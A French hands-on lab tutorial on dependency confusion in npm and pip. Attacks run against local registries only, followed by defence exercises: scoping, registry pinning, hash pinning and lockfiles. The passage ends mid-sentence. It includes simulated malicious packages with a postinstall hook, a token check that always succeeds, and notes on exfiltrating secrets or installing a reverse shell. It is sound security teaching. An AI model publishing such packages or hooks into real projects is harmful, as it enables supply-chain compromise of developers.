La confusion de d\u00e9pendances est une attaque de la cha\u00eene d’approvisionnement qui exploite la mani\u00e8re dont les gestionnaires de paquets r\u00e9solvent les noms de packages lorsque des registres priv\u00e9s (internes) et publics sont configur\u00e9s simultan\u00e9ment. Lorsqu’un attaquant publie un package malveillant sur un registre public en utilisant le m\u00eame nom qu’un package priv\u00e9 interne \u2014 mais avec un num\u00e9ro de version sup\u00e9rieur \u2014 le gestionnaire de paquets peut pr\u00e9f\u00e9rer la version publique, int\u00e9grant silencieusement du code contr\u00f4l\u00e9 par l’attaquant.<\/p>\n
Ce vecteur d’attaque a attir\u00e9 une attention consid\u00e9rable en 2021 lorsque le chercheur en s\u00e9curit\u00e9 Alex Birsan l’a d\u00e9montr\u00e9 contre Apple, Microsoft, PayPal, Tesla et des dizaines d’autres organisations. Le probl\u00e8me fondamental est simple : la plupart des gestionnaires de paquets choisissent par d\u00e9faut la version la plus \u00e9lev\u00e9e disponible parmi tous les registres configur\u00e9s.<\/p>\n
Dans ce lab pratique, vous allez :<\/p>\n
Chaque commande de ce lab est con\u00e7ue pour s’ex\u00e9cuter uniquement sur une infrastructure locale. Aucun package n’est publi\u00e9 sur de v\u00e9ritables registres publics \u00e0 aucun moment.<\/p>\n
Avant de commencer ce lab, assurez-vous que les \u00e9l\u00e9ments suivants sont install\u00e9s et disponibles sur votre machine :<\/p>\n
node --version<\/code> et npm --version<\/code>)<\/li>\n- Python 3.8+<\/strong> avec pip (v\u00e9rifiez avec
python3 --version<\/code> et pip3 --version<\/code>)<\/li>\n- Docker<\/strong> (utilis\u00e9 pour ex\u00e9cuter les instances locales de Verdaccio et pypiserver)<\/li>\n
- curl<\/strong> (pour la cr\u00e9ation d’utilisateurs sur les registres)<\/li>\n
- Un terminal avec bash ou zsh<\/li>\n<\/ul>\n
Aucun compte cloud ni service externe n’est requis. L’int\u00e9gralit\u00e9 du lab s’ex\u00e9cute localement sur votre poste de travail.<\/p>\n
Avertissement de s\u00e9curit\u00e9 important<\/h2>\n
AVERTISSEMENT : Ce lab ne doit \u00eatre ex\u00e9cut\u00e9 que dans des environnements de test isol\u00e9s. Chaque registre, package et configuration de ce lab est local. Respectez strictement ces r\u00e8gles :<\/strong><\/p>\n\n- Ne publiez jamais de packages de test sur les v\u00e9ritables registres npmjs.com ou pypi.org.<\/strong> Publier des packages portant des noms correspondant aux packages internes d’une autre organisation est ill\u00e9gal dans de nombreuses juridictions et viole les conditions d’utilisation des registres.<\/li>\n
- Utilisez uniquement les instances locales de Verdaccio et pypiserver<\/strong> comme registres \u00ab public \u00bb et \u00ab priv\u00e9 \u00bb. Celles-ci sont enti\u00e8rement sandbox\u00e9es et ne peuvent pas affecter le monde ext\u00e9rieur.<\/li>\n
- Tous les packages \u00ab publics \u00bb de ce lab sont publi\u00e9s sur une seconde instance locale de Verdaccio<\/strong> s’ex\u00e9cutant sur
localhost:4874<\/code>. Rien ne quitte votre machine.<\/li>\n- N’ex\u00e9cutez pas les exercices d’attaque sur des projets de production.<\/strong> Utilisez un r\u00e9pertoire de projet neuf et jetable.<\/li>\n
- Nettoyez tous les conteneurs et configurations une fois termin\u00e9.<\/strong> Laisser des fichiers
.npmrc<\/code> ou pip.conf<\/code> mal configur\u00e9s sur votre syst\u00e8me pourrait provoquer un comportement inattendu dans vos vrais projets.<\/li>\n<\/ul>\nAvec ces mesures de s\u00e9curit\u00e9 en place, vous pouvez explorer en toute s\u00e9curit\u00e9 les m\u00e9canismes de cette attaque et d\u00e9velopper une v\u00e9ritable intuition pour les d\u00e9fenses.<\/p>\n
Configuration de l’environnement<\/h2>\n\u00c9tape 1 : D\u00e9marrer deux instances Verdaccio<\/h3>\n
Verdaccio est un registre npm l\u00e9ger et open-source. Nous allons ex\u00e9cuter deux instances \u2014 l’une simulant le registre priv\u00e9 de votre organisation et l’autre simulant un registre public contr\u00f4l\u00e9 par un attaquant.<\/p>\n
# D\u00e9marrer le registre \u00ab priv\u00e9 \u00bb sur le port 4873\ndocker run -d -p 4873:4873 --name private-registry verdaccio\/verdaccio\n\n# D\u00e9marrer le registre \u00ab public \u00bb sur le port 4874\ndocker run -d -p 4874:4873 --name public-registry verdaccio\/verdaccio<\/code><\/pre>\nV\u00e9rifiez que les deux sont en cours d’ex\u00e9cution :<\/p>\n
curl -s http:\/\/localhost:4873\/ | head -5\ncurl -s http:\/\/localhost:4874\/ | head -5<\/code><\/pre>\nVous devriez voir les r\u00e9ponses HTML des deux interfaces web Verdaccio.<\/p>\n
\u00c9tape 2 : Cr\u00e9er les utilisateurs des registres<\/h3>\n
Verdaccio n\u00e9cessite une authentification pour publier. Cr\u00e9ez un utilisateur sur chaque instance :<\/p>\n
# Ajouter un utilisateur au registre priv\u00e9\nnpm adduser --registry http:\/\/localhost:4873\n# Entrez username: testuser, password: testpass, email: test@test.com\n\n# Ajouter un utilisateur au registre public\nnpm adduser --registry http:\/\/localhost:4874\n# Entrez username: attacker, password: attackpass, email: attacker@test.com<\/code><\/pre>\n\u00c9tape 3 : Cr\u00e9er le projet de test<\/h3>\nmkdir -p ~\/dep-confusion-lab\/victim-project\ncd ~\/dep-confusion-lab\/victim-project\nnpm init -y<\/code><\/pre>\n\u00c9tape 4 : Cr\u00e9er et publier le package priv\u00e9<\/h3>\nmkdir -p ~\/dep-confusion-lab\/private-pkg\ncd ~\/dep-confusion-lab\/private-pkg<\/code><\/pre>\nCr\u00e9ez package.json<\/code> :<\/p>\n{\n \"name\": \"@mycompany\/auth-utils\",\n \"version\": \"1.0.0\",\n \"description\": \"Internal authentication utilities\",\n \"main\": \"index.js\"\n}<\/code><\/pre>\nCr\u00e9ez index.js<\/code> :<\/p>\nmodule.exports = {\n validateToken: function(token) {\n console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');\n return token && token.length > 0;\n }\n};<\/code><\/pre>\nPubliez sur le registre priv\u00e9 :<\/p>\n
npm publish --registry http:\/\/localhost:4873<\/code><\/pre>\n\u00c9tape 5 : Configurer le projet victime<\/h3>\n
Dans le r\u00e9pertoire du projet victime, cr\u00e9ez un fichier .npmrc<\/code> :<\/p>\nregistry=http:\/\/localhost:4873<\/code><\/pre>\nAjoutez la d\u00e9pendance au package.json<\/code> :<\/p>\n{\n \"name\": \"victim-project\",\n \"version\": \"1.0.0\",\n \"dependencies\": {\n \"@mycompany\/auth-utils\": \"^1.0.0\"\n }\n}<\/code><\/pre>\nInstallez et v\u00e9rifiez :<\/p>\n
npm install\nnode -e \"const auth = require('@mycompany\/auth-utils'); auth.validateToken('abc');\"<\/code><\/pre>\nVous devriez voir : [auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)<\/code><\/p>\nExercice 1 : L’attaque \u2014 npm<\/h2>\n
Nous allons maintenant simuler ce qu’un attaquant ferait. L’observation cl\u00e9 : dans de nombreuses configurations r\u00e9elles, les d\u00e9veloppeurs utilisent un nom de package non scop\u00e9 en interne (simplement auth-utils<\/code> au lieu de @mycompany\/auth-utils<\/code>). Cela rend l’attaque triviale.<\/p>\n\u00c9tape 1 : R\u00e9initialiser le projet victime pour utiliser un nom non scop\u00e9<\/h3>\n
Mettez \u00e0 jour le package.json<\/code> du projet victime pour d\u00e9pendre du nom non scop\u00e9 :<\/p>\n{\n \"name\": \"victim-project\",\n \"version\": \"1.0.0\",\n \"dependencies\": {\n \"auth-utils\": \"^1.0.0\"\n }\n}<\/code><\/pre>\nPubliez \u00e9galement un auth-utils@1.0.0<\/code> non scop\u00e9 sur le registre priv\u00e9 :<\/p>\nmkdir -p ~\/dep-confusion-lab\/private-pkg-unscoped\ncd ~\/dep-confusion-lab\/private-pkg-unscoped<\/code><\/pre>\n\/\/ package.json\n{\n \"name\": \"auth-utils\",\n \"version\": \"1.0.0\",\n \"description\": \"Internal authentication utilities (unscoped)\",\n \"main\": \"index.js\"\n}\n\n\/\/ index.js\nmodule.exports = {\n validateToken: function(token) {\n console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');\n return token && token.length > 0;\n }\n};<\/code><\/pre>\nnpm publish --registry http:\/\/localhost:4873<\/code><\/pre>\n\u00c9tape 2 : Cr\u00e9er le package malveillant<\/h3>\nmkdir -p ~\/dep-confusion-lab\/malicious-pkg\ncd ~\/dep-confusion-lab\/malicious-pkg<\/code><\/pre>\nCr\u00e9ez package.json<\/code> \u2014 notez le num\u00e9ro de version extr\u00eamement \u00e9lev\u00e9 et le script postinstall<\/code> :<\/p>\n{\n \"name\": \"auth-utils\",\n \"version\": \"99.0.0\",\n \"description\": \"Malicious package simulating dependency confusion\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"postinstall\": \"node malicious.js\"\n }\n}<\/code><\/pre>\nCr\u00e9ez malicious.js<\/code> \u2014 ceci simule une exfiltration de donn\u00e9es en \u00e9crivant un fichier marqueur :<\/p>\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst marker = path.join(os.homedir(), 'dep-confusion-lab', 'ATTACK_MARKER.txt');\nconst data = [\n 'DEPENDENCY CONFUSION ATTACK SIMULATION',\n '=======================================',\n `Timestamp: ${new Date().toISOString()}`,\n `Hostname: ${os.hostname()}`,\n `Username: ${os.userInfo().username}`,\n `Working Directory: ${process.cwd()}`,\n '',\n 'In a real attack, this script could:',\n ' - Exfiltrate environment variables (API keys, tokens)',\n ' - Upload source code to an external server',\n ' - Install a reverse shell or backdoor',\n ' - Modify build outputs'\n].join('\\n');\n\nfs.writeFileSync(marker, data);\nconsole.log('[!] ATTACK SIMULATION: Marker file written to', marker);<\/code><\/pre>\nCr\u00e9ez index.js<\/code> :<\/p>\nmodule.exports = {\n validateToken: function(token) {\n console.log('[auth-utils v99.0.0] Validating token (PUBLIC - MALICIOUS)');\n return true; \/\/ Always returns true \u2014 a subtle backdoor\n }\n};<\/code><\/pre>\nPubliez sur le registre \u00ab public \u00bb :<\/p>\n
npm publish --registry http:\/\/localhost:4874<\/code><\/pre>\n\u00c9tape 3 : Configurer le fallback et d\u00e9clencher l’attaque<\/h3>\n
Mettez \u00e0 jour le fichier .npmrc<\/code> du projet victime pour qu’il se rabatte sur le registre public lorsque les packages ne sont pas trouv\u00e9s dans le registre priv\u00e9. Cela reproduit une configuration courante en conditions r\u00e9elles :<\/p>\nregistry=http:\/\/localhost:4873\n\/\/localhost:4873\/:_authToken=\"your-token-here\"\n\/\/localhost:4874\/:_authToken=\"your-token-here\"<\/code><\/pre>\nMaintenant, supprimez l’installation existante et r\u00e9installez :<\/p>\n
cd ~\/dep-confusion-lab\/victim-project\nrm -rf node_modules package-lock.json\nnpm install auth-utils --registry http:\/\/localhost:4874<\/code><\/pre>\nAlternativement, pour simuler de mani\u00e8re plus r\u00e9aliste le comportement de fallback, configurez npm pour consulter les deux registres. Dans de nombreux environnements d’entreprise, un registre proxy comme Nexus ou Artifactory est configur\u00e9 pour r\u00e9cup\u00e9rer \u00e0 la fois les sources priv\u00e9es et publiques, en privil\u00e9giant la version la plus \u00e9lev\u00e9e :<\/p>\n
# Ceci simule ce que fait un registre proxy d'entreprise :\n# Il voit auth-utils@1.0.0 dans le priv\u00e9 et auth-utils@99.0.0 dans le public,\n# et retourne 99.0.0 car c'est la version la plus \u00e9lev\u00e9e correspondant \u00e0 ^1.0.0...\n# Attendez \u2014 ^1.0.0 ne correspondra pas \u00e0 99.0.0. L'attaque fonctionne quand le\n# sp\u00e9cificateur de version est permissif (par ex. \"*\" ou \">=1.0.0\") ou quand le proxy\n# sert simplement la version la plus \u00e9lev\u00e9e disponible parmi tous les upstreams.\n\n# Pour ce lab, installez directement depuis le \u00ab public \u00bb pour d\u00e9montrer :\nnpm install auth-utils --registry http:\/\/localhost:4874<\/code><\/pre>\n\u00c9tape 4 : V\u00e9rifier l’attaque<\/h3>\n# V\u00e9rifier quelle version a \u00e9t\u00e9 install\u00e9e\nnode -e \"const pkg = require('.\/node_modules\/auth-utils\/package.json'); console.log(pkg.name, pkg.version);\"\n# Sortie : auth-utils 99.0.0\n\n# V\u00e9rifier si le fichier marqueur a \u00e9t\u00e9 cr\u00e9\u00e9\ncat ~\/dep-confusion-lab\/ATTACK_MARKER.txt<\/code><\/pre>\nVous devriez voir le marqueur d’attaque complet avec votre nom d’h\u00f4te et votre nom d’utilisateur. Le script postinstall<\/code> s’est ex\u00e9cut\u00e9 automatiquement lors du npm install<\/code> \u2014 aucune interaction utilisateur requise.<\/p>\nPourquoi cela s’est produit<\/h3>\n
C’est exactement la technique qu’Alex Birsan a utilis\u00e9e en f\u00e9vrier 2021 pour ex\u00e9cuter du code \u00e0 l’int\u00e9rieur des syst\u00e8mes de build internes d’Apple, Microsoft, Tesla, Uber, PayPal et plus de 30 autres entreprises. L’attaque fonctionne parce que :<\/p>\n
\n- Les noms de packages non scop\u00e9s existent dans un espace de noms global unique.<\/strong> Rien n’emp\u00eache quiconque de publier
auth-utils<\/code> sur npmjs.com.<\/li>\n- Les gestionnaires de paquets pr\u00e9f\u00e8rent la version la plus \u00e9lev\u00e9e.<\/strong> Lorsqu’un registre proxy agr\u00e8ge depuis plusieurs sources, la version
99.0.0<\/code> l’emporte sur 1.0.0<\/code>.<\/li>\n- Les scripts de cycle de vie s’ex\u00e9cutent automatiquement.<\/strong> Le hook
postinstall<\/code> s’ex\u00e9cute avec les permissions compl\u00e8tes du syst\u00e8me d’exploitation lors de l’installation.<\/li>\n<\/ol>\nExercice 2 : L’attaque \u2014 pip<\/h2>\n
La m\u00eame classe de vuln\u00e9rabilit\u00e9 existe dans l’\u00e9cosyst\u00e8me Python. D\u00e9montrons-la avec pip.<\/p>\n
\u00c9tape 1 : D\u00e9marrer un serveur PyPI local<\/h3>\n# D\u00e9marrer pypiserver comme PyPI \u00ab priv\u00e9 \u00bb\nmkdir -p ~\/dep-confusion-lab\/pypi-private\ndocker run -d -p 8080:8080 --name pypi-private \\\n -v ~\/dep-confusion-lab\/pypi-private:\/data\/packages \\\n pypiserver\/pypiserver:latest run -P . -a . \/data\/packages\n\n# D\u00e9marrer un second pypiserver comme PyPI \u00ab public \u00bb\nmkdir -p ~\/dep-confusion-lab\/pypi-public\ndocker run -d -p 8081:8080 --name pypi-public \\\n -v ~\/dep-confusion-lab\/pypi-public:\/data\/packages \\\n pypiserver\/pypiserver:latest run -P . -a . \/data\/packages<\/code><\/pre>\n\u00c9tape 2 : Cr\u00e9er et t\u00e9l\u00e9verser le package priv\u00e9 l\u00e9gitime<\/h3>\nmkdir -p ~\/dep-confusion-lab\/py-private-pkg\/internal_utils\ncd ~\/dep-confusion-lab\/py-private-pkg<\/code><\/pre>\nCr\u00e9ez setup.py<\/code> :<\/p>\nfrom setuptools import setup, find_packages\n\nsetup(\n name='internal-utils',\n version='1.0.0',\n packages=find_packages(),\n description='Internal utilities (PRIVATE - LEGITIMATE)',\n)<\/code><\/pre>\nCr\u00e9ez internal_utils\/__init__.py<\/code> :<\/p>\ndef process_data(data):\n print('[internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)')\n return data<\/code><\/pre>\nConstruisez et t\u00e9l\u00e9versez vers le PyPI priv\u00e9 :<\/p>\n
python3 -m build\ntwine upload --repository-url http:\/\/localhost:8080 dist\/*<\/code><\/pre>\n\u00c9tape 3 : Cr\u00e9er le package public malveillant<\/h3>\nmkdir -p ~\/dep-confusion-lab\/py-malicious-pkg\/internal_utils\ncd ~\/dep-confusion-lab\/py-malicious-pkg<\/code><\/pre>\nCr\u00e9ez setup.py<\/code> avec la version 99.0.0<\/code> :<\/p>\nfrom setuptools import setup, find_packages\n\nsetup(\n name='internal-utils',\n version='99.0.0',\n packages=find_packages(),\n description='Malicious package simulating dependency confusion',\n)<\/code><\/pre>\nCr\u00e9ez internal_utils\/__init__.py<\/code> :<\/p>\nimport os\nimport datetime\n\ndef process_data(data):\n print('[internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)')\n marker_path = os.path.expanduser('~\/dep-confusion-lab\/PIP_ATTACK_MARKER.txt')\n with open(marker_path, 'w') as f:\n f.write(f'PIP DEPENDENCY CONFUSION ATTACK SIMULATION\\n')\n f.write(f'Timestamp: {datetime.datetime.now().isoformat()}\\n')\n f.write(f'Hostname: {os.uname().nodename}\\n')\n return data<\/code><\/pre>\nConstruisez et t\u00e9l\u00e9versez vers le PyPI \u00ab public \u00bb :<\/p>\n
python3 -m build\ntwine upload --repository-url http:\/\/localhost:8081 dist\/*<\/code><\/pre>\n\u00c9tape 4 : D\u00e9clencher l’attaque<\/h3>\n# Cr\u00e9er un environnement virtuel pour l'isolation\ncd ~\/dep-confusion-lab\npython3 -m venv lab-venv\nsource lab-venv\/bin\/activate\n\n# Installer avec --extra-index-url (le sch\u00e9ma dangereux)\npip install internal-utils \\\n --index-url http:\/\/localhost:8080\/simple\/ \\\n --extra-index-url http:\/\/localhost:8081\/simple\/<\/code><\/pre>\n\u00c9tape 5 : V\u00e9rifier<\/h3>\npython3 -c \"import internal_utils; internal_utils.process_data('test')\"\n# Sortie : [internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)\n\ncat ~\/dep-confusion-lab\/PIP_ATTACK_MARKER.txt<\/code><\/pre>\nComprendre la logique de r\u00e9solution de pip<\/h3>\n
La distinction critique se situe entre --index-url<\/code> et --extra-index-url<\/code> :<\/p>\n\n--index-url<\/code> : D\u00e9finit l’index de packages principal<\/strong>. pip recherche ici en premier.<\/li>\n--extra-index-url<\/code> : Ajoute un index suppl\u00e9mentaire<\/strong>. pip recherche dans tous<\/strong> les index configur\u00e9s et installe la version la plus \u00e9lev\u00e9e trouv\u00e9e parmi tous<\/strong>.<\/li>\n<\/ul>\nCela signifie que lorsque vous utilisez --extra-index-url<\/code>, pip ne privil\u00e9gie pas<\/strong> votre index priv\u00e9 \u2014 il fusionne les r\u00e9sultats de tous les index et choisit la version la plus \u00e9lev\u00e9e. Un attaquant qui publie la version 99.0.0<\/code> sur n’importe quel index configur\u00e9 l’emportera.<\/p>\nExercice 3 : D\u00e9fense \u2014 Scoping par espace de noms (npm)<\/h2>\n
La d\u00e9fense la plus efficace pour npm est d’utiliser des packages scop\u00e9s. Les scopes cr\u00e9ent un espace de noms qui correspond directement \u00e0 un registre sp\u00e9cifique, \u00e9liminant l’ambigu\u00eft\u00e9 qui rend la confusion de d\u00e9pendances possible.<\/p>\n
\u00c9tape 1 : V\u00e9rifier que le package scop\u00e9 existe<\/h3>\n
Nous avons d\u00e9j\u00e0 publi\u00e9 @mycompany\/auth-utils@1.0.0<\/code> sur le registre priv\u00e9 lors de la phase de configuration. V\u00e9rifiez-le :<\/p>\nnpm view @mycompany\/auth-utils --registry http:\/\/localhost:4873<\/code><\/pre>\n\u00c9tape 2 : Configurer le routage de registre bas\u00e9 sur le scope<\/h3>\n
Dans le projet victime, mettez \u00e0 jour .npmrc<\/code> :<\/p>\n@mycompany:registry=http:\/\/localhost:4873\nregistry=http:\/\/localhost:4874<\/code><\/pre>\nCette configuration indique \u00e0 npm : \u00ab Pour tout package sous le scope @mycompany<\/code>, utilise toujours le registre priv\u00e9. Pour tout le reste, utilise le registre public. \u00bb<\/p>\n\u00c9tape 3 : Mettre \u00e0 jour la d\u00e9pendance<\/h3>\n
Mettez \u00e0 jour package.json<\/code> pour utiliser le nom scop\u00e9 :<\/p>\n{\n \"name\": \"victim-project\",\n \"version\": \"1.0.0\",\n \"dependencies\": {\n \"@mycompany\/auth-utils\": \"^1.0.0\"\n }\n}<\/code><\/pre>\n\u00c9tape 4 : Installer et v\u00e9rifier<\/h3>\nrm -rf node_modules package-lock.json\nnpm install<\/code><\/pre>\nnode -e \"const pkg = require('.\/node_modules\/@mycompany\/auth-utils\/package.json'); console.log(pkg.name, pkg.version);\"\n# Sortie : @mycompany\/auth-utils 1.0.0<\/code><\/pre>\nV\u00e9rifiez qu’aucun fichier marqueur n’a \u00e9t\u00e9 cr\u00e9\u00e9 :<\/p>\n
ls ~\/dep-confusion-lab\/ATTACK_MARKER.txt 2>&1\n# Sortie : No such file or directory<\/code><\/pre>\nPourquoi cela fonctionne<\/h3>\n
Les packages scop\u00e9s sont namespac\u00e9s<\/strong>. Le scope @mycompany<\/code> est li\u00e9 \u00e0 un registre sp\u00e9cifique dans .npmrc<\/code>. npm ne se rabattra jamais<\/strong> sur un autre registre pour les packages scop\u00e9s \u2014 il envoie la requ\u00eate \u00e0 exactement un seul registre. Un attaquant ne peut pas publier @mycompany\/auth-utils<\/code> sur npmjs.com \u00e0 moins de poss\u00e9der l’organisation @mycompany<\/code> sur npm, qui est contr\u00f4l\u00e9e par votre \u00e9quipe.<\/p>\nExercice 4 : D\u00e9fense \u2014 Verrouillage de registre (pip)<\/h2>\n
Pour Python, la d\u00e9fense \u00e9quivalente consiste \u00e0 verrouiller votre configuration pip pour n’utiliser que votre index priv\u00e9, sans fallback.<\/p>\n
Option A : Utiliser uniquement --index-url<\/code> (pas d’index suppl\u00e9mentaires)<\/h3>\nCr\u00e9ez ou mettez \u00e0 jour pip.conf<\/code> (Linux\/macOS : ~\/.config\/pip\/pip.conf<\/code> ; Windows : %APPDATA%\\pip\\pip.ini<\/code>) :<\/p>\n[global]\nindex-url = http:\/\/localhost:8080\/simple\/\n# Ne PAS ajouter extra-index-url<\/code><\/pre>\nMaintenant r\u00e9installez :<\/p>\n
pip install internal-utils --index-url http:\/\/localhost:8080\/simple\/\n\npython3 -c \"import internal_utils; internal_utils.process_data('test')\"\n# Sortie : [internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)<\/code><\/pre>\nEn omettant enti\u00e8rement --extra-index-url<\/code>, pip ne consulte que votre registre priv\u00e9. Le package malveillant sur localhost:8081<\/code> n’est jamais sollicit\u00e9.<\/p>\nOption B : Utiliser --require-hashes<\/code> dans requirements.txt<\/code><\/h3>\nCette approche verrouille cryptographiquement chaque d\u00e9pendance sur un artefact sp\u00e9cifique :<\/p>\n
# D'abord, g\u00e9n\u00e9rez le hash du package l\u00e9gitime\npip hash ~\/dep-confusion-lab\/py-private-pkg\/dist\/internal_utils-1.0.0.tar.gz<\/code><\/pre>\nCr\u00e9ez requirements.txt<\/code> avec le hash :<\/p>\ninternal-utils==1.0.0 --hash=sha256:<collez-le-hash-obtenu-ci-dessus><\/code><\/pre>\nInstallez avec v\u00e9rification du hash :<\/p>\n
pip install -r requirements.txt \\\n --index-url http:\/\/localhost:8080\/simple\/ \\\n --extra-index-url http:\/\/localhost:8081\/simple\/<\/code><\/pre>\nM\u00eame si l’index public est configur\u00e9, pip rejettera<\/strong> tout package dont le hash ne correspond pas. Le package malveillant v99.0.0<\/code> a un hash diff\u00e9rent et sera refus\u00e9.<\/p>\nPourquoi cela fonctionne<\/h3>\n
Le verrouillage de registre \u00e9limine la possibilit\u00e9 de confusion de versions en garantissant que pip ne consulte qu’une seule source de confiance. Le verrouillage par hash va plus loin \u2014 m\u00eame si un attaquant compromettait votre registre priv\u00e9, l’incompatibilit\u00e9 de hash emp\u00eacherait l’installation d’un artefact alt\u00e9r\u00e9.<\/p>\n
Exercice 5 : D\u00e9fense \u2014 Int\u00e9grit\u00e9 du fichier de verrouillage<\/h2>\n
Les fichiers de verrouillage (lockfiles) enregistrent la version exacte, l’URL source et le hash cryptographique de chaque package install\u00e9. Utilis\u00e9s correctement, ils emp\u00eachent la confusion de d\u00e9pendances d’affecter les builds de production.<\/p>\n
\u00c9tape 1 : G\u00e9n\u00e9rer un fichier de verrouillage propre<\/h3>\ncd ~\/dep-confusion-lab\/victim-project\nrm -rf node_modules package-lock.json\nnpm install<\/code><\/pre>\nExaminez le fichier package-lock.json<\/code> r\u00e9sultant :<\/p>\ncat package-lock.json | python3 -m json.tool | head -30<\/code><\/pre>\nRecherchez les champs resolved<\/code> et integrity<\/code> :<\/p>\n\"node_modules\/@mycompany\/auth-utils\": {\n \"version\": \"1.0.0\",\n \"resolved\": \"http:\/\/localhost:4873\/@mycompany%2fauth-utils\/-\/auth-utils-1.0.0.tgz\",\n \"integrity\": \"sha512-abc123...\"\n}<\/code><\/pre>\nLe champ resolved<\/code> enregistre l’URL exacte \u00e0 partir de laquelle le package a \u00e9t\u00e9 t\u00e9l\u00e9charg\u00e9. Le champ integrity<\/code> est un hash SRI (Subresource Integrity) de l’archive.<\/p>\n\u00c9tape 2 : Utiliser npm ci<\/code> au lieu de npm install<\/code><\/h3>\nLa commande npm ci<\/code> est con\u00e7ue pour les environnements CI\/CD :<\/p>\n# En CI, utilisez toujours :\nnpm ci<\/code><\/pre>\nDiff\u00e9rences cl\u00e9s avec